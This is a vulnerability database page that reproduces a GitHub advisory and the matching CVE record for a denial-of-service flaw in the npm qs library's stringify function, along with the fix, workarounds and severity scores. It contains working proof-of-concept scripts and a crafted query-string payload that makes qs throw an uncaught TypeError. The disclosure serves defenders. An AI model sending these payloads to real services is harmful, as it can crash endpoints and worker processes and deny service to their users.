Vulnerability-Lookup

GHSA-4MJR-XMP4-GH2G

Vulnerability from github – Published: 2026-09-02 14:45 – Updated: 2026-09-02 14:45

Summary

qs: Denial of Service via Attacker Controlled isBuffer

Details

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');

Execution Steps

cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1

Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

6.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.5"
            },
            {
              "fixed": "6.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-82417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:45:13Z",
    "nvd_published_at": "2026-08-30T00:16:34Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` \u2192 `stringify` round-trip \u2014 no `JSON.parse` \u2014 turns an unauthenticated query string into an uncaught throw.\n\nAn attacker-controlled `parse` input reaches the host application\u0027s availability asset \u2014 via `qs`\u0027s own recommended `plainObjects` mitigation \u2014 and triggers an uncaught exception during a `parse` \u2192 `stringify` round-trip.\n\n### Details\n`utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value:\n\n```js\nif (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }\n```\n\n`utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== \u0027object\u0027) { return false; }\n    return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n};\n```\n\n`constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation.\n\n\n### Trust Boundary Note\n\n`qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` \u2014 the standard round-trip in gateways and request-forwarders \u2014 then hits the unchecked call. \n\n\n### PoC\n`poc02c_isBuffer_qs_only_roundtrip.js` \u2014 pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw:\n\n```js\n\u0027use strict\u0027;\nvar qs = require(\u0027qs\u0027);\n\nvar untrustedQueryString = \u0027x%5Bconstructor%5D%5BisBuffer%5D=y\u0027; // x[constructor][isBuffer]=y\n\nvar parsed = qs.parse(untrustedQueryString, { plainObjects: true });\nconsole.log(\u0027[parse] kept constructor key:\u0027, JSON.stringify(parsed));\n\ntry {\n    qs.stringify(parsed);\n    console.log(\u0027[stringify] no throw (unexpected)\u0027);\n} catch (e) {\n    console.log(\u0027[stringify] DoS reproduced -\u003e\u0027, e.constructor.name + \u0027:\u0027, e.message);\n}\n```\n\n`poc02_isBuffer.js` \u2014 the minimal defect:\n\n```js\n\u0027use strict\u0027;\nvar qs = require(\u0027qs\u0027);\ntry {\n    qs.stringify(JSON.parse(\u0027{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}\u0027));\n} catch (e) {\n    console.log(\u0027[A] DoS reproduced -\u003e\u0027, e.constructor.name + \u0027:\u0027, e.message);\n}\n```\n\n`poc02b_isBuffer_async_crash.js` \u2014 worker death in an async sink:\n\n```js\n\u0027use strict\u0027;\nvar qs = require(\u0027qs\u0027);\n\nfunction handleRequestAsync(clientJsonBody) {\n    try {\n        setImmediate(function () {                 // async continuation, outside the try\n            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught\n        });\n        console.log(\u0027[handler] returned 200 synchronously; async work scheduled\u0027);\n    } catch (e) {\n        console.log(\u0027[handler] caught synchronously (will NOT happen):\u0027, e.message);\n    }\n}\nprocess.on(\u0027exit\u0027, function (code) {\n    console.log(\u0027[proc] process exiting with code:\u0027, code);\n});\nhandleRequestAsync(\u0027{\"filters\":{\"constructor\":{\"isBuffer\":\"x\"}}}\u0027);\n```\n\n### Execution Steps\n\n```bash\ncd poc\nnpm install qs@6.15.3\nnode poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse-\u003estringify -\u003e TypeError\nnode poc02_isBuffer.js                      # minimal defect -\u003e TypeError inside stringify\nnode poc02b_isBuffer_async_crash.js         # async sink -\u003e uncaught throw -\u003e exit code 1\n```\n\n### Reproduction Evidence\n\n`poc02c_isBuffer_qs_only_roundtrip.js` :\n\n```\n[parse] kept constructor key: {\"x\":{\"constructor\":{\"isBuffer\":\"y\"}}}\n[stringify] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02_isBuffer.js`:\n\n```\n[A] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02b_isBuffer_async_crash.js` :\n\n```\n[handler] returned 200 synchronously; async work scheduled\n[proc] process exiting with code: 1\nTypeError: obj.constructor.isBuffer is not a function\n    at Object.isBuffer (.../qs/lib/utils.js:332:78)\n    at stringify (.../qs/lib/stringify.js:127:45)\n=== EXIT CODE: 1 ===\n```\n\nThe pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.\n\n### Impact\n\nAn unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application\u0027s error handling, not on `qs`.\n\n### Recommended Fix\n\nReplace the duck-type with a brand check mirroring `utils.isRegExp`:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== \u0027object\u0027) { return false; }\n    if (typeof Buffer !== \u0027undefined\u0027 \u0026\u0026 typeof Buffer.isBuffer === \u0027function\u0027) {\n        return Buffer.isBuffer(obj);\n    }\n    return Object.prototype.toString.call(obj) === \u0027[object Uint8Array]\u0027;\n};\n```\n\nIf duck-typing must remain, require `typeof obj.constructor.isBuffer === \u0027function\u0027` before invoking and wrap the call in `try/catch`.",
  "id": "GHSA-4mjr-xmp4-gh2g",
  "modified": "2026-09-02T14:45:13Z",
  "published": "2026-09-02T14:45:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/security/advisories/GHSA-4mjr-xmp4-gh2g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/e83d321ffafb38cf210683ac31714fce6ce1c6c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ljharb/qs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "qs: Denial of Service via Attacker Controlled isBuffer"
}

CVE-2026-82417 (GCVE-0-2026-82417)

Vulnerability from cvelistv5 – Published: 2026-08-29 23:51 – Updated: 2026-08-31 17:08

Title

qs.stringify throws TypeError on objects with a non-callable constructor.isBuffer property

Summary

### Summary `qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: "x" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`. ### Details `lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call. Such an object can be built from untrusted input. `qs.parse("x[constructor][isBuffer]=y", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly. #### PoC ```js var qs = require("qs"); qs.stringify(qs.parse("x[constructor][isBuffer]=y", { plainObjects: true })); qs.stringify(JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}")); // TypeError: obj.constructor.isBuffer is not a function // at Object.isBuffer (lib/utils.js:332:78) // at stringify (lib/stringify.js:127:45) ``` #### Fix `lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0: ```diff - return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj)); + return !!(obj.constructor && typeof obj.constructor.isBuffer === "function" && obj.constructor.isBuffer(obj)); ``` Real `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed. ### Affected versions `>=2.2.5 <6.16.0`, fixed in v6.16.0. The unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call. ### Impact An unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

6.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-31 17:07 UTC

CWE

CWE-248 - Uncaught Exception
CWE-703 - Improper Check or Handling of Exceptional Conditions

Assigner

harborist redhat root

References

2 references

URL	Tags
https://github.com/ljharb/qs/security/advisories/…	vendor-advisory
https://github.com/ljharb/qs/commit/e83d321ffafb3…	patch

Impacted products

1 product

Vendor	Product	Version
ljharb	qs	Affected: 2.2.5 , < 6.16.0 (semver)

Credits

waydeshi ljharb

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-82417",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-31T17:07:54.823942Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-31T17:08:24.074Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/ljharb/qs/security/advisories/GHSA-4mjr-xmp4-gh2g"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://npmjs.com/qs",
          "defaultStatus": "unaffected",
          "packageName": "qs",
          "product": "qs",
          "repo": "https://github.com/ljharb/qs",
          "vendor": "ljharb",
          "versions": [
            {
              "lessThan": "6.16.0",
              "status": "affected",
              "version": "2.2.5",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "waydeshi"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "ljharb"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003e### Summary\u003c/p\u003e\u003cp\u003e`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\u003c/p\u003e\u003cp\u003e### Details\u003c/p\u003e\u003cp\u003e`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\u003c/p\u003e\u003cp\u003eSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\u003c/p\u003e\u003cp\u003e#### PoC\u003c/p\u003e\u003cp\u003e```js\u003c/p\u003e\u003cp\u003evar qs = require(\"qs\");\u003c/p\u003e\u003cp\u003eqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\u003c/p\u003e\u003cp\u003eqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\u003c/p\u003e\u003cp\u003e// TypeError: obj.constructor.isBuffer is not a function\u003c/p\u003e\u003cp\u003e//     at Object.isBuffer (lib/utils.js:332:78)\u003c/p\u003e\u003cp\u003e//     at stringify (lib/stringify.js:127:45)\u003c/p\u003e\u003cp\u003e```\u003c/p\u003e\u003cp\u003e#### Fix\u003c/p\u003e\u003cp\u003e`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\u003c/p\u003e\u003cp\u003e```diff\u003c/p\u003e\u003cp\u003e- return !!(obj.constructor \u0026amp;\u0026amp; obj.constructor.isBuffer \u0026amp;\u0026amp; obj.constructor.isBuffer(obj));\u003c/p\u003e\u003cp\u003e+ return !!(obj.constructor \u0026amp;\u0026amp; typeof obj.constructor.isBuffer === \"function\" \u0026amp;\u0026amp; obj.constructor.isBuffer(obj));\u003c/p\u003e\u003cp\u003e```\u003c/p\u003e\u003cp\u003eReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\u003c/p\u003e\u003cp\u003e### Affected versions\u003c/p\u003e\u003cp\u003e`\u0026gt;=2.2.5 \u0026lt;6.16.0`, fixed in v6.16.0.\u003c/p\u003e\u003cp\u003eThe unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\u003c/p\u003e\u003cp\u003e### Impact\u003c/p\u003e\u003cp\u003eAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.\u003c/p\u003e"
            }
          ],
          "value": "### Summary\n\n\n\n`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\n\n\n\n### Details\n\n\n\n`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\n\n\n\nSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nvar qs = require(\"qs\");\n\n\n\nqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\n\n\n\nqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\n\n\n\n// TypeError: obj.constructor.isBuffer is not a function\n\n\n\n//     at Object.isBuffer (lib/utils.js:332:78)\n\n\n\n//     at stringify (lib/stringify.js:127:45)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\n\n\n\n```diff\n\n\n\n- return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n+ return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n```\n\n\n\nReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\n\n\n\n### Affected versions\n\n\n\n`\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.\n\n\n\nThe unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\n\n\n\n### Impact\n\n\n\nAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        },
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-248",
              "description": "CWE-248 Uncaught Exception",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-703",
              "description": "CWE-703 Improper Check or Handling of Exceptional Conditions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-29T23:51:27.634Z",
        "orgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
        "shortName": "harborist"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/ljharb/qs/security/advisories/GHSA-4mjr-xmp4-gh2g"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/ljharb/qs/commit/e83d321ffafb38cf210683ac31714fce6ce1c6c6"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eUpgrade to qs 6.16.0 or later.\u003c/p\u003e"
            }
          ],
          "value": "Upgrade to qs 6.16.0 or later."
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "qs.stringify throws TypeError on objects with a non-callable constructor.isBuffer property",
      "workarounds": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003ePass a `filter` function to `qs.stringify` that drops values carrying an own `constructor` property; it runs before the `isBuffer` check. Alternatively, wrap `qs.stringify` calls on externally influenced objects in try/catch, and avoid `allowPrototypes: true` / `plainObjects: true` when parsed untrusted input is fed back into `qs.stringify`.\u003c/p\u003e"
            }
          ],
          "value": "Pass a `filter` function to `qs.stringify` that drops values carrying an own `constructor` property; it runs before the `isBuffer` check. Alternatively, wrap `qs.stringify` calls on externally influenced objects in try/catch, and avoid `allowPrototypes: true` / `plainObjects: true` when parsed untrusted input is fed back into `qs.stringify`."
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
    "assignerShortName": "harborist",
    "cveId": "CVE-2026-82417",
    "datePublished": "2026-08-29T23:51:27.634Z",
    "dateReserved": "2026-08-28T23:08:00.460Z",
    "dateUpdated": "2026-08-31T17:08:24.074Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-4MJR-XMP4-GH2G

Summary

Details

Trust Boundary Note

PoC

Execution Steps

Reproduction Evidence

Impact

Recommended Fix

CVE-2026-82417 (GCVE-0-2026-82417)

Tags

Sightings

Nomenclature